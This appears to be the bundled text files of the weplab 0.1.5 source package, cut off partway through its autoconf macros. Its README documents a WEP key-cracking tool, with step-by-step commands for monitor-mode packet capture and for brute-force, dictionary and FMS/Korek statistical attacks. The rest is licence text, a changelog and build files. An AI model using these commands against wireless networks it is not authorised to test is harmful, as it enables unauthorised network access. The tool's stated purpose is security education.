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This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Comments are welcome. - Topo[LB] - Jose Ignacio Sanchez GENERAL INFORMATION. Weplab is a tool to review the security of WEP encryption in wireless networks from an educational point of view. Several attacks are available (including the well known FMS statistical attack) so it can be measured the efectiveness and minimun requirements of each one. Weplab is tested on GNU/Linux with latest version of libpcap. Please take a look at the scripts in the CVS to place your prism2 in monitor mode, so weplab is able to capture packets. This alpha version was released with the aim of getting some feedback to adjust the parameters to the most optimun ones, for the FMS attack. INSTALLATION. Libpcap 0.8 or higher is needed for weplab. The configure script should be able to detect your proccessor type to optimize the code specifically for it. At least 128 MB of free RAM memmory is required to run FMS statistical attack in weplab, 64 MB of free ram for capturing packets, and nothing special for the other features. To install it, just issue the usual commands: ./configure make At the moment, weplab is only tested under GNU/Linux. WHAT DOES WEPLAB DO. Weplab helps you to understand and analyze the security weaknesses present on WEP encryption for wireless networks. Different attacks using several vulnerabilities can be launched. The user can play with lots of cracking parameters so it is easier to understand what the algoritm is doing and how easy or difficult is to crack the WEP key. CAPTURING PACKETS. First you will need to capture 802.11b encrypted packets to crack the wep key. The way weplab cracks the key is using passive attacks to an already captured packet set. To capture encrypted packets in a wireless network, your wireless card must be put in monitor mode. The way monitor mode is set is highly dependant on which card do you own, and which drivers are you using. Explaining how to set monitor mode in your card is beyond the scope of this document, and sometimes involves patching the kernel or "hacking" the drivers. As an example, the following steps should be done in order to set monitor mode on a prism2 based card using wlan-ng drivers. 1) Initialization of the card. * prism2 and wlan-ng wlanctl-ng wlan0 lnxreq_ifstate ifstate=enable wlanctl-ng wlan0 lnxreq_autojoin ssid=any authtype=opensystem * orinoco : nothing special 2) Enable the interface (wlan0 in the example, just change to eth0 if using orinoco) ifconfig wlan0 up 2) Setting monitor mode on desired channel (6 in the example). * prism2 and wlan-ng wlanctl-ng wlan0 lnxreq_wlansniff channel=06 keepwepflags=false prismheader=false enable=true (I dont know why, but sometimes this step must be taken twice :) ) * orinoco and iwpriv iwpriv eth0 monitor 2 6 There are a few things that must be done regardless of the card and drivers used. 1) The wireless card placed in monitor mode should accept encrypted packets and mark them as encrypted. In the example above, that's the purpose of the option keepwepflags=false in third step. 2) The interface must be enabled (up) 3) If your card is appending prism header or fcs "tail" to the packets, weplab needs to be told about it (with --fcs or --prismheader). Determining if this is necessary for your hardware will be explained later. Now, to capture encrypted packets you can either use weplab, tcpdump, or a similar sniffer that logs packets in pcap format. To do it with weplab, just use -c. Interface must be specified with -i ./weplab --debug 1 -c -i wlan0 ./packets.log There is no need to log the entire packet, just the 802.11 header and the IV, but to verify possible canditate keys the whole packet encrypted payload must be present. That's why you must specify two files in weplab when using FMS attack. One file must have just 10 packets with the whole payload, and the other file contains weak packets that don't need to have payload logged. So, in order to save disk space it is a good idea to log a few packets for key verification on one file, and then just log the first bytes of all other possible packets, to be used as possible weak packet for FMS attack. You can specify maximun captured bytes per packet with --caplen ./weplab -c -i wlan0 --debug 1 ./verification_packets.log ./weplab -c -i wlan0 --debug 1 --caplen 100 ./weak_packets.log Alternately, if your disk space is not so critical and you don't mind wasting a few extra seconds on loading the file later, these two steps can be joined into one. ./weplab -c -i wlan0 --debug 1 --caplen 150 ./packets.log Then this file can be used both for verification and weak packets. ANALYZING PCAP FILE Before trying to crack the key using the already captured packets, it is a good idea to verify the file just to ensure that the packets were logged fine, and there are enough to perform the desired attack. ./weplab --debug 1 -a ./packets.log You can try with --prismheader or --fcs, or both. ./weplab --debug 1 -a --fcs ./packets.log ./weplab --debug 1 -a --prismheader --fcs ./packets.log As explained above, prismheader is an special header that some cards and drivers add to all captured packets, and fcs is an special tail added to the captured packets by some drivers. You can determine if your card/drivers needs --fcs or --prismheaders by using the FMS attack together with --debugkey and a set of encrypted packets captured by your card where the wep key is known. This is explained later in the FMS attack section. WEP KEY CRACKING. At the moment weplab supports 2 main cracking methods: bruteforce and FMS statistical attack. Before selecting the cracking method, the keysize should be specified. By default the keysize is 64. To crack a 128-bit key, you must specify --key 128 BRUTEFORCE CRACKING. Bruteforce cracking means testing all possible keys to find the right one. That means that each key byte can take values from 0 to 255. So a quick calculus will reveal that for a 64 bits key the total combinations are 2^40, so at 100.000 c/s cracking the key will take you 4100061318 seconds maximun. 127 days working fulltime. With a 128-bit key the total combinations possible are 2^104, so at 100.000 c/s the total maximun amount of time will be 6520836420927105974 YEARS!! I guess you will never try to launch a bruteforce attack to a 128-bit key. Anyway, weplab gives you the possibility to do it ;) You will need at least 10 full wep encrypted data captured packets in order to launch a bruteforce attack avoiding false positives. DICTIONNARY CRACKING Guess what ? Users often use simple words as their WEP key. The dictionnary cracking mode gives you the ability to check if the WEP key isn't a so-simple-to-guess word. Using this mode in addition to John-the-Ripper could produce some usefull results. Weplab reads the dictionnary words from STDIN, so if you want statistics, you want be able to press . However, you'll have statistics printed on STDOUT every 10 seconds. Dictionary cracking can use two different modes : - By default : use the classical algorithm (MD5 for 128 bits keys or one of 4 keys for 40 bits keys). This mode is widely used on Access Points to generate keys from a passphrase. - Word to key : use the "--attack 2" option if you want weplab to use plaintext keys with NULL bytes appended (if needed) at the end of each word to fit the WEP key size. This second mode is used on my system when I configure the WEP key using "iwconfig eth0 s:silly". FMS STATISTICAL ATTACK. Wireless networks WEP encryption is based on RC4 algorithm. RC4 has some weaknesses as Fluhrer, Mantin and Shamir described in 2001 with the paper "Weaknesses in the Key Scheduling Algorithm of RC4". The specific implementation of the RC4 algorithm in WEP makes possible its practical use. The initials of the authors gave it the name of FMS statistical cryptoanalysis. In order to make this attack possible for breaking the encryption of wireless networks, lots of specific data wep encrypted packets, called weak packets, must be gathered. Soon after the paper was published, two tools appeared that implemented the FMS attack, but the set of weak packets that these tools use is just asmall subset of the total possible weak packets. As a result, the attack was not as practical to launch as it should be. In February 2002, h1kari released the paper "Practical Exploitation of RC4 Weaknesses in WEP Environments". This describes the problem with the set of weak packets used by existing tools and suggest several optimization in the attack like attacking other bytes besides the first one. H1kari created a tool called dwepcrack that implements a part of these optimizations, and runs under *BSD. Weplab uses FMS attack supporting the whole set of weak packets for attacking both the first and the second byte of the encrypted payload. Also some bruteforce and smart probabilistic based decisions are implemented within the FMS attack to make it more powerful, especially when you dont have enough packets to launch a straight-forward attack. But apart from that, the main purpose of weplab is to be an educational tool to help users understand the existing weaknesses in WEP and how can the be used to break the encryption key. Several command line parameters are implemented with this purpose. Also, if you plan to test weplab cracking capacity with your own wireless lan, you can use --debugkey. By using this option you tell weplab what your WEP key is (or at least a part of it), so weplab will skip all other branches when searching candidate key bytes in FMS attack. NEW STATISTICAL ATTACKS. New statistical attacks published on Netstumbler forum by Korek. These new attacks make possible to crack the key with even less than 500k. Many thanks to Korek for this information. All the credit goes to you. USAGE. Weplab has many options that could be a bit confusing to new users. The purpose of all these options is not only allow the user to "tune" the cracking process, but also help the user to analyze and understand the cracking process. After all weplab is an educational tool ;) Following there is a brief summary of all the options. --debug : gives more information of the current cracking process -v : nothing at the moment -y : dictionary based attack (read words from stdin) -b : bruteforce cracking. Tests all possible keys. -r[]: FMS statistical attack. The main purpose of this tool. is the pcap format file where the packets that will be used for the FMS attack are stored. -c : Capture packets from interface. Does not crack anything, it just captures unique IV packets and logs them in a file -i : Uses por capturing packets with -c. Mandatory option if -c is used. -a : Analyzes specific file and gathers some statistics about the packets that are stored. -k : Uses this key size in bits. Default 64. Possible values: 64, 128 --perc : Guesses the key with at least specified probability of succeed. is an integer between 1-100. Default 20% --caplen : captures maximun per packets. Only applies when using -c (capture mode). --fcs: Sometimes your wireless card appends a "tail" to all captured packets in monitor mode. This "tail" is called fcs. By default weplab does not expect to see this tail. If you know it is pressent in captures packets, you have to specify it to weplab with --fcs. --keyid : when cracking 64-bit keys. You must specify which of the four possible keys do you want to crack. Default: 0 --prismheader: Sometimes prism2 wireless cards append a special "header" to all captured packets in monitor mode. This "header" is called prismheader. By default weplab does not expect to see this header. If you know it is pressent in captures packets, you have to specify it to weplab with --prismheader. --ascii : If you are using bruteforce (-b) to crack the key, you can reduce the search to ascii bytes. By specifing --ascii each key byte can be in the range 0 - 0x3F. --allowdups: deprecated. Not used in this version. --bssid : does only process those packets that belongs to specified BSSID. MAC must be in the form of xx:xx:xx:xx:xx\n --attacks : allows you to select which attacks will be used for heuristic mode. --debugkey : VERY IMPORTANT OPTION if you want to test the tool. If you already know the key or at least part of it, you can specify this part here so weplab will not try to guess these already known bytes. Key must be in the form AA:BB:CC -h : shows help -V : shows current version of weplab. EXAMPLES OF USE. Example 1. Cracking using FMS attack You want to test the tool so you collect 1.5M packets from your own wireless LAN. You just want to know if weplab would be able to crack it. You can use first --debugkey. If you are using a 128-bit key the right sintax would be ./weplab -r./packets.log --debugkey 01:02:03:04:05:06:07:08:09:10:11:12:13 --debug 1 --key 128 ./packets.log You should see the statistics and guesses for each byte of the key so you can see the viability of the attack. At the end you should see "key succesfully cracked". If you do not see such message, perhaps your captured packets have the FCS tail so it will be neccesary to issue --fcs ./weplab -r./packets.log --debugkey 01:02:03:04:05:06:07:08:09:10:11:12:13 --fcs --debug 1 --key 128 ./packets.log Now can try with just a part of the key in debugkey. If the FMS is possible with these packets, weplab should be able to crack the key using just these bytes. ./weplab -r./packets.log --debugkey 01:02:03:04:05:06 --fcs --debug 1 --key 128 ./packets.log If it works you can try reducing the debugkey more. At the end you can try with no debugkey at all, as if it were a real attack. You can push ENTER key in any moment to get statistics of the work done. Example 2. Cracking using bruteforce To crack a 64-bit key using normal bruteforce just issue the following command. ./weplab --debug 1 --key 64 ./packets.log If you suspect that the key may be in plain ascii, do this: ./weplab --debug 1 --key 64 --ascii ./packets.log You can push ENTER key at any moment to get statistics of the work done. Example 3. Capturing packets. In order to capture packets you have to put your wireless card in monitor mode in the right channel. Be carefull to configure monitor mode to ignore WEP bit. Once you have your card in monitor mode, you can capture packets using tcpdump or weplab -c -i ./weplab -c -i wlan0 --debug 1 --caplen 150 ./packets.log You can push ENTER key at any moment to get statistics of the work done. Example 4. Analyze an existing pcap file. Weplab can also analyze a pcap file to the some statistics. Use -a for this purpose. --prismheader --fcs can also be used. ./weplab -a --debug 1 ./pcap.log Example 5. Cracking a 64 WEP key using a dictionnary file with John the Ripper john -w:/path/to/my/big/dictionnaryfile -rules -stdout | weplab -y -d 1 --key 64 capt.dumpweplab-0.1.5/AUTHORS0000644000000000000000000000037110117667260010735 00000000000000WEPLAB. Topo[LB] - Jose Ignacio Sanchez PATCHES FOR SPECIFIC FUNCTIONS - BSSID basic detection --> florian schilhabel[rootshell] - Dictionary attack. - PPC endian issues --> Erik Winkler weplab-0.1.5/COPYING0000644000000000000000000004311010057716534010720 00000000000000 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. 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If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. 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If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. 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It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. weplab-0.1.5/ChangeLog0000644000000000000000000001060010267007202011421 000000000000002004-06-03 Topo[LB] - Jose Ignacio Sanchez * 2005-07-18. weplab 0.1.5 - Stupid bug with small packets (like arp) fixed. Minimun size decreased to 20 bytes. Now weplab works like a charm with a arp replay attack (aireplay). - Prints the right ascii password when a key is cracked using the dictionary mode. * 2005-03-01. weplab 0.1.4 - Fixed a bug in bruteforge.c and implemented a new way to coordinate multiple process cracking. - Fixed a bug in bruteforge.c now --ascii goes up to 0x7F. - Only support for --alpha (only letters) and --alnum (letters and numbers) in the bruteforce attack. - Now wlan0 is the default interface for capturing packets. - 'q' quits sniffing and flushes the pcap file. - Simplified help for command line parameters - Fixed some divide by 0 bugs - Added --wordfile. Now it is possible to launch the dictionary based attack without using John the Ripper to generate words. * 2004-12-07. weplab 0.1.3 - Fixed a bug with those WEP keys which have a 0xFF byte value - Fixed bug that made weplab show wrong BSSID with --analyze (Thanks Rubio9) - Fixed problem with --ascii in bruteforce attack (Thanks Gforkel) - Now weplab have a manual page! (generated from xml file). - Minor bugs fixed related to console printed messages. - Name "beta" is no longer in weplab's version. Although the project still remain in beta stage. * 2004-09-11. weplab 0.1.2-beta - Default options for statistical attack changed. Now [ -s 3 --perc 50 ] by default - Command line options are more relaxed and robust. - PRISM_HEADER datalink added for capture packets. - Dictionary attack little fix. It is tested and works fine with John The Ripper 1.6 * 2004-09-09. weplab 0.1.1-beta - Automatic BSSID detection and selection if not specified with --bssid. - Analyze (-a) now shows all packets per BSSID. - Big endian issues fixed - Little fixes for windows platform * 2004-08-29. weplab 0.1.0-beta - Small bug fixed with rc4 decryption - Korek inverse attack little change. * 2004-08-29. weplab 0.0.9-beta - Full Korek's attacks implemented. New command line option -s let's you specify minimun stability required - Dictionary attack implemented (uzy) but not fully tested - Now rejected bytes are never tested - Minor bugs fixed and speed inprovements in bruteforce attack * 2004-08-22. weplab 0.0.8-beta - Added new statistical attacks (Korek's attacks). Now it is possible to crack the key even with less than 500k packets - Fixed bug with second byte attack. Remains to be tested in deep - Added BSSID detection - Added information about the time needed to crack the current key. For benchmarking purposes - Some minor fixes in README file and Help. * 2004-07-01. weplab 0.0.7-beta - Fixed bug recognizing AMD Athlon XP processor on configure script - Fixed one small-big bug. Forgot to printf the key when it was found in bruteforce mode. - Some spanish messages are now translated into english - Fixed small bug in the number of keybytes showed with --debugkey - Fix a bug with 0 bytes data length packets - Restructuration of the source code. Now statistical attacks (like FMS) are located in attack.c. It is easier to modify or add custom attacks modifying this file. - Added the possibility to specify desired statistical attacks to be launched from command line (--attacks 1,2) - Attack to byte 2 dissabled by default as it is BUGGY. Will be reviewed and fixed in future releases. * 2004-06-23. weplab 0.0.6-alpha - Fixed bug in --debugkey with 128-bit keys - Detection of --prismheader in --analyze - Fixed segmentation fault when --prismheader is used when it is not needed - Fixed small ./configure issue with libpcap. Now it will exit with warning if libpcap is not present. * 2004-06-19. weplab 0.0.5-alpha - Small fixes - Multiprocessor support for bruteforce (-m) * 2004-06-14. weplab 0.0.4-alpha - Little stupid error with prismheader * 2004-06-14. weplab 0.0.3-alpha - debugkey correct key detection error fix - configure microprocessor detection improvements - debugkey parser error fix - prismheader error fixed - bruteforce last FF error fixed - Little bug fixed * 2004-06-08. weplab 0.0.2-alpha - added smart custom probabilistic branch selector for FMS attack. - Little bug fixed * 2004-06-03. weplab 0.0.1-alpha: first non-released beta weplab-0.1.5/INSTALL0000644000000000000000000001722710057716534010730 00000000000000Basic Installation ================== These are generic installation instructions. The `configure' shell script attempts to guess correct values for various system-dependent variables used during compilation. It uses those values to create a `Makefile' in each directory of the package. It may also create one or more `.h' files containing system-dependent definitions. Finally, it creates a shell script `config.status' that you can run in the future to recreate the current configuration, a file `config.cache' that saves the results of its tests to speed up reconfiguring, and a file `config.log' containing compiler output (useful mainly for debugging `configure'). If you need to do unusual things to compile the package, please try to figure out how `configure' could check whether to do them, and mail diffs or instructions to the address given in the `README' so they can be considered for the next release. If at some point `config.cache' contains results you don't want to keep, you may remove or edit it. The file `configure.in' is used to create `configure' by a program called `autoconf'. You only need `configure.in' if you want to change it or regenerate `configure' using a newer version of `autoconf'. The simplest way to compile this package is: 1. `cd' to the directory containing the package's source code and type `./configure' to configure the package for your system. If you're using `csh' on an old version of System V, you might need to type `sh ./configure' instead to prevent `csh' from trying to execute `configure' itself. Running `configure' takes awhile. While running, it prints some messages telling which features it is checking for. 2. Type `make' to compile the package. 3. Optionally, type `make check' to run any self-tests that come with the package. 4. Type `make install' to install the programs and any data files and documentation. 5. You can remove the program binaries and object files from the source code directory by typing `make clean'. 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If the package supports it, you can cause programs to be installed with an extra prefix or suffix on their names by giving `configure' the option `--program-prefix=PREFIX' or `--program-suffix=SUFFIX'. Optional Features ================= Some packages pay attention to `--enable-FEATURE' options to `configure', where FEATURE indicates an optional part of the package. They may also pay attention to `--with-PACKAGE' options, where PACKAGE is something like `gnu-as' or `x' (for the X Window System). The `README' should mention any `--enable-' and `--with-' options that the package recognizes. For packages that use the X Window System, `configure' can usually find the X include and library files automatically, but if it doesn't, you can use the `configure' options `--x-includes=DIR' and `--x-libraries=DIR' to specify their locations. Specifying the System Type ========================== There may be some features `configure' can not figure out automatically, but needs to determine by the type of host the package will run on. Usually `configure' can figure that out, but if it prints a message saying it can not guess the host type, give it the `--host=TYPE' option. TYPE can either be a short name for the system type, such as `sun4', or a canonical name with three fields: CPU-COMPANY-SYSTEM See the file `config.sub' for the possible values of each field. If `config.sub' isn't included in this package, then this package doesn't need to know the host type. If you are building compiler tools for cross-compiling, you can also use the `--target=TYPE' option to select the type of system they will produce code for and the `--build=TYPE' option to select the type of system on which you are compiling the package. Sharing Defaults ================ If you want to set default values for `configure' scripts to share, you can create a site shell script called `config.site' that gives default values for variables like `CC', `cache_file', and `prefix'. `configure' looks for `PREFIX/share/config.site' if it exists, then `PREFIX/etc/config.site' if it exists. Or, you can set the `CONFIG_SITE' environment variable to the location of the site script. A warning: not all `configure' scripts look for a site script. Operation Controls ================== `configure' recognizes the following options to control how it operates. `--cache-file=FILE' Use and save the results of the tests in FILE instead of `./config.cache'. Set FILE to `/dev/null' to disable caching, for debugging `configure'. `--help' Print a summary of the options to `configure', and exit. `--quiet' `--silent' `-q' Do not print messages saying which checks are being made. To suppress all normal output, redirect it to `/dev/null' (any error messages will still be shown). `--srcdir=DIR' Look for the package's source code in directory DIR. Usually `configure' can determine that directory automatically. `--version' Print the version of Autoconf used to generate the `configure' script, and exit. `configure' also accepts some other, not widely useful, options. weplab-0.1.5/Makefile.am0000644000000000000000000000045510155676126011727 00000000000000bin_PROGRAMS = weplab man_MANS = weplab.1 EXTRA_DIST = $(man_MANS) weplab_SOURCES = main.c analpfile.c analpfile.h bruteforce.c bruteforce.h capture.c capture.h debug.c debug.h dictionary.c dictionary.h globals.c globals.h heuristics.c heuristics.h md5.c md5.h wep.c wep.h globals.h attack.h attack.c weplab-0.1.5/NEWS0000644000000000000000000000000010057716534010353 00000000000000weplab-0.1.5/aclocal.m40000644000000000000000000011005010267007362011516 00000000000000dnl aclocal.m4 generated automatically by aclocal 1.4-p6 dnl Copyright (C) 1994, 1995-8, 1999, 2001 Free Software Foundation, Inc. dnl This file is free software; the Free Software Foundation dnl gives unlimited permission to copy and/or distribute it, dnl with or without modifications, as long as this notice is preserved. dnl This program is distributed in the hope that it will be useful, dnl but WITHOUT ANY WARRANTY, to the extent permitted by law; without dnl even the implied warranty of MERCHANTABILITY or FITNESS FOR A dnl PARTICULAR PURPOSE. # lib-prefix.m4 serial 4 (gettext-0.14.2) dnl Copyright (C) 2001-2005 Free Software Foundation, Inc. dnl This file is free software; the Free Software Foundation dnl gives unlimited permission to copy and/or distribute it, dnl with or without modifications, as long as this notice is preserved. dnl From Bruno Haible. dnl AC_LIB_ARG_WITH is synonymous to AC_ARG_WITH in autoconf-2.13, and dnl similar to AC_ARG_WITH in autoconf 2.52...2.57 except that is doesn't dnl require excessive bracketing. ifdef([AC_HELP_STRING], [AC_DEFUN([AC_LIB_ARG_WITH], [AC_ARG_WITH([$1],[[$2]],[$3],[$4])])], [AC_DEFUN([AC_][LIB_ARG_WITH], [AC_ARG_WITH([$1],[$2],[$3],[$4])])]) dnl AC_LIB_PREFIX adds to the CPPFLAGS and LDFLAGS the flags that are needed dnl to access previously installed libraries. The basic assumption is that dnl a user will want packages to use other packages he previously installed dnl with the same --prefix option. dnl This macro is not needed if only AC_LIB_LINKFLAGS is used to locate dnl libraries, but is otherwise very convenient. AC_DEFUN([AC_LIB_PREFIX], [ AC_BEFORE([$0], [AC_LIB_LINKFLAGS]) AC_REQUIRE([AC_PROG_CC]) AC_REQUIRE([AC_CANONICAL_HOST]) AC_REQUIRE([AC_LIB_PREPARE_PREFIX]) dnl By default, look in $includedir and $libdir. use_additional=yes AC_LIB_WITH_FINAL_PREFIX([ eval additional_includedir=\"$includedir\" eval additional_libdir=\"$libdir\" ]) AC_LIB_ARG_WITH([lib-prefix], [ --with-lib-prefix[=DIR] search for libraries in DIR/include and DIR/lib --without-lib-prefix don't search for libraries in includedir and libdir], [ if test "X$withval" = "Xno"; then use_additional=no else if test "X$withval" = "X"; then AC_LIB_WITH_FINAL_PREFIX([ eval additional_includedir=\"$includedir\" eval additional_libdir=\"$libdir\" ]) else additional_includedir="$withval/include" additional_libdir="$withval/lib" fi fi ]) if test $use_additional = yes; then dnl Potentially add $additional_includedir to $CPPFLAGS. dnl But don't add it dnl 1. if it's the standard /usr/include, dnl 2. if it's already present in $CPPFLAGS, dnl 3. if it's /usr/local/include and we are using GCC on Linux, dnl 4. if it doesn't exist as a directory. if test "X$additional_includedir" != "X/usr/include"; then haveit= for x in $CPPFLAGS; do AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) if test "X$x" = "X-I$additional_includedir"; then haveit=yes break fi done if test -z "$haveit"; then if test "X$additional_includedir" = "X/usr/local/include"; then if test -n "$GCC"; then case $host_os in linux* | gnu* | k*bsd*-gnu) haveit=yes;; esac fi fi if test -z "$haveit"; then if test -d "$additional_includedir"; then dnl Really add $additional_includedir to $CPPFLAGS. CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }-I$additional_includedir" fi fi fi fi dnl Potentially add $additional_libdir to $LDFLAGS. dnl But don't add it dnl 1. if it's the standard /usr/lib, dnl 2. if it's already present in $LDFLAGS, dnl 3. if it's /usr/local/lib and we are using GCC on Linux, dnl 4. if it doesn't exist as a directory. if test "X$additional_libdir" != "X/usr/lib"; then haveit= for x in $LDFLAGS; do AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) if test "X$x" = "X-L$additional_libdir"; then haveit=yes break fi done if test -z "$haveit"; then if test "X$additional_libdir" = "X/usr/local/lib"; then if test -n "$GCC"; then case $host_os in linux*) haveit=yes;; esac fi fi if test -z "$haveit"; then if test -d "$additional_libdir"; then dnl Really add $additional_libdir to $LDFLAGS. LDFLAGS="${LDFLAGS}${LDFLAGS:+ }-L$additional_libdir" fi fi fi fi fi ]) dnl AC_LIB_PREPARE_PREFIX creates variables acl_final_prefix, dnl acl_final_exec_prefix, containing the values to which $prefix and dnl $exec_prefix will expand at the end of the configure script. AC_DEFUN([AC_LIB_PREPARE_PREFIX], [ dnl Unfortunately, prefix and exec_prefix get only finally determined dnl at the end of configure. if test "X$prefix" = "XNONE"; then acl_final_prefix="$ac_default_prefix" else acl_final_prefix="$prefix" fi if test "X$exec_prefix" = "XNONE"; then acl_final_exec_prefix='${prefix}' else acl_final_exec_prefix="$exec_prefix" fi acl_save_prefix="$prefix" prefix="$acl_final_prefix" eval acl_final_exec_prefix=\"$acl_final_exec_prefix\" prefix="$acl_save_prefix" ]) dnl AC_LIB_WITH_FINAL_PREFIX([statement]) evaluates statement, with the dnl variables prefix and exec_prefix bound to the values they will have dnl at the end of the configure script. AC_DEFUN([AC_LIB_WITH_FINAL_PREFIX], [ acl_save_prefix="$prefix" prefix="$acl_final_prefix" acl_save_exec_prefix="$exec_prefix" exec_prefix="$acl_final_exec_prefix" $1 exec_prefix="$acl_save_exec_prefix" prefix="$acl_save_prefix" ]) # lib-link.m4 serial 6 (gettext-0.14.3) dnl Copyright (C) 2001-2005 Free Software Foundation, Inc. dnl This file is free software; the Free Software Foundation dnl gives unlimited permission to copy and/or distribute it, dnl with or without modifications, as long as this notice is preserved. dnl From Bruno Haible. AC_PREREQ(2.50) dnl AC_LIB_LINKFLAGS(name [, dependencies]) searches for libname and dnl the libraries corresponding to explicit and implicit dependencies. dnl Sets and AC_SUBSTs the LIB${NAME} and LTLIB${NAME} variables and dnl augments the CPPFLAGS variable. AC_DEFUN([AC_LIB_LINKFLAGS], [ AC_REQUIRE([AC_LIB_PREPARE_PREFIX]) AC_REQUIRE([AC_LIB_RPATH]) define([Name],[translit([$1],[./-], [___])]) define([NAME],[translit([$1],[abcdefghijklmnopqrstuvwxyz./-], [ABCDEFGHIJKLMNOPQRSTUVWXYZ___])]) AC_CACHE_CHECK([how to link with lib[]$1], [ac_cv_lib[]Name[]_libs], [ AC_LIB_LINKFLAGS_BODY([$1], [$2]) ac_cv_lib[]Name[]_libs="$LIB[]NAME" ac_cv_lib[]Name[]_ltlibs="$LTLIB[]NAME" ac_cv_lib[]Name[]_cppflags="$INC[]NAME" ]) LIB[]NAME="$ac_cv_lib[]Name[]_libs" LTLIB[]NAME="$ac_cv_lib[]Name[]_ltlibs" INC[]NAME="$ac_cv_lib[]Name[]_cppflags" AC_LIB_APPENDTOVAR([CPPFLAGS], [$INC]NAME) AC_SUBST([LIB]NAME) AC_SUBST([LTLIB]NAME) dnl Also set HAVE_LIB[]NAME so that AC_LIB_HAVE_LINKFLAGS can reuse the dnl results of this search when this library appears as a dependency. HAVE_LIB[]NAME=yes undefine([Name]) undefine([NAME]) ]) dnl AC_LIB_HAVE_LINKFLAGS(name, dependencies, includes, testcode) dnl searches for libname and the libraries corresponding to explicit and dnl implicit dependencies, together with the specified include files and dnl the ability to compile and link the specified testcode. If found, it dnl sets and AC_SUBSTs HAVE_LIB${NAME}=yes and the LIB${NAME} and dnl LTLIB${NAME} variables and augments the CPPFLAGS variable, and dnl #defines HAVE_LIB${NAME} to 1. Otherwise, it sets and AC_SUBSTs dnl HAVE_LIB${NAME}=no and LIB${NAME} and LTLIB${NAME} to empty. AC_DEFUN([AC_LIB_HAVE_LINKFLAGS], [ AC_REQUIRE([AC_LIB_PREPARE_PREFIX]) AC_REQUIRE([AC_LIB_RPATH]) define([Name],[translit([$1],[./-], [___])]) define([NAME],[translit([$1],[abcdefghijklmnopqrstuvwxyz./-], [ABCDEFGHIJKLMNOPQRSTUVWXYZ___])]) dnl Search for lib[]Name and define LIB[]NAME, LTLIB[]NAME and INC[]NAME dnl accordingly. AC_LIB_LINKFLAGS_BODY([$1], [$2]) dnl Add $INC[]NAME to CPPFLAGS before performing the following checks, dnl because if the user has installed lib[]Name and not disabled its use dnl via --without-lib[]Name-prefix, he wants to use it. ac_save_CPPFLAGS="$CPPFLAGS" AC_LIB_APPENDTOVAR([CPPFLAGS], [$INC]NAME) AC_CACHE_CHECK([for lib[]$1], [ac_cv_lib[]Name], [ ac_save_LIBS="$LIBS" LIBS="$LIBS $LIB[]NAME" AC_TRY_LINK([$3], [$4], [ac_cv_lib[]Name=yes], [ac_cv_lib[]Name=no]) LIBS="$ac_save_LIBS" ]) if test "$ac_cv_lib[]Name" = yes; then HAVE_LIB[]NAME=yes AC_DEFINE([HAVE_LIB]NAME, 1, [Define if you have the $1 library.]) AC_MSG_CHECKING([how to link with lib[]$1]) AC_MSG_RESULT([$LIB[]NAME]) else HAVE_LIB[]NAME=no dnl If $LIB[]NAME didn't lead to a usable library, we don't need dnl $INC[]NAME either. CPPFLAGS="$ac_save_CPPFLAGS" LIB[]NAME= LTLIB[]NAME= fi AC_SUBST([HAVE_LIB]NAME) AC_SUBST([LIB]NAME) AC_SUBST([LTLIB]NAME) undefine([Name]) undefine([NAME]) ]) dnl Determine the platform dependent parameters needed to use rpath: dnl libext, shlibext, 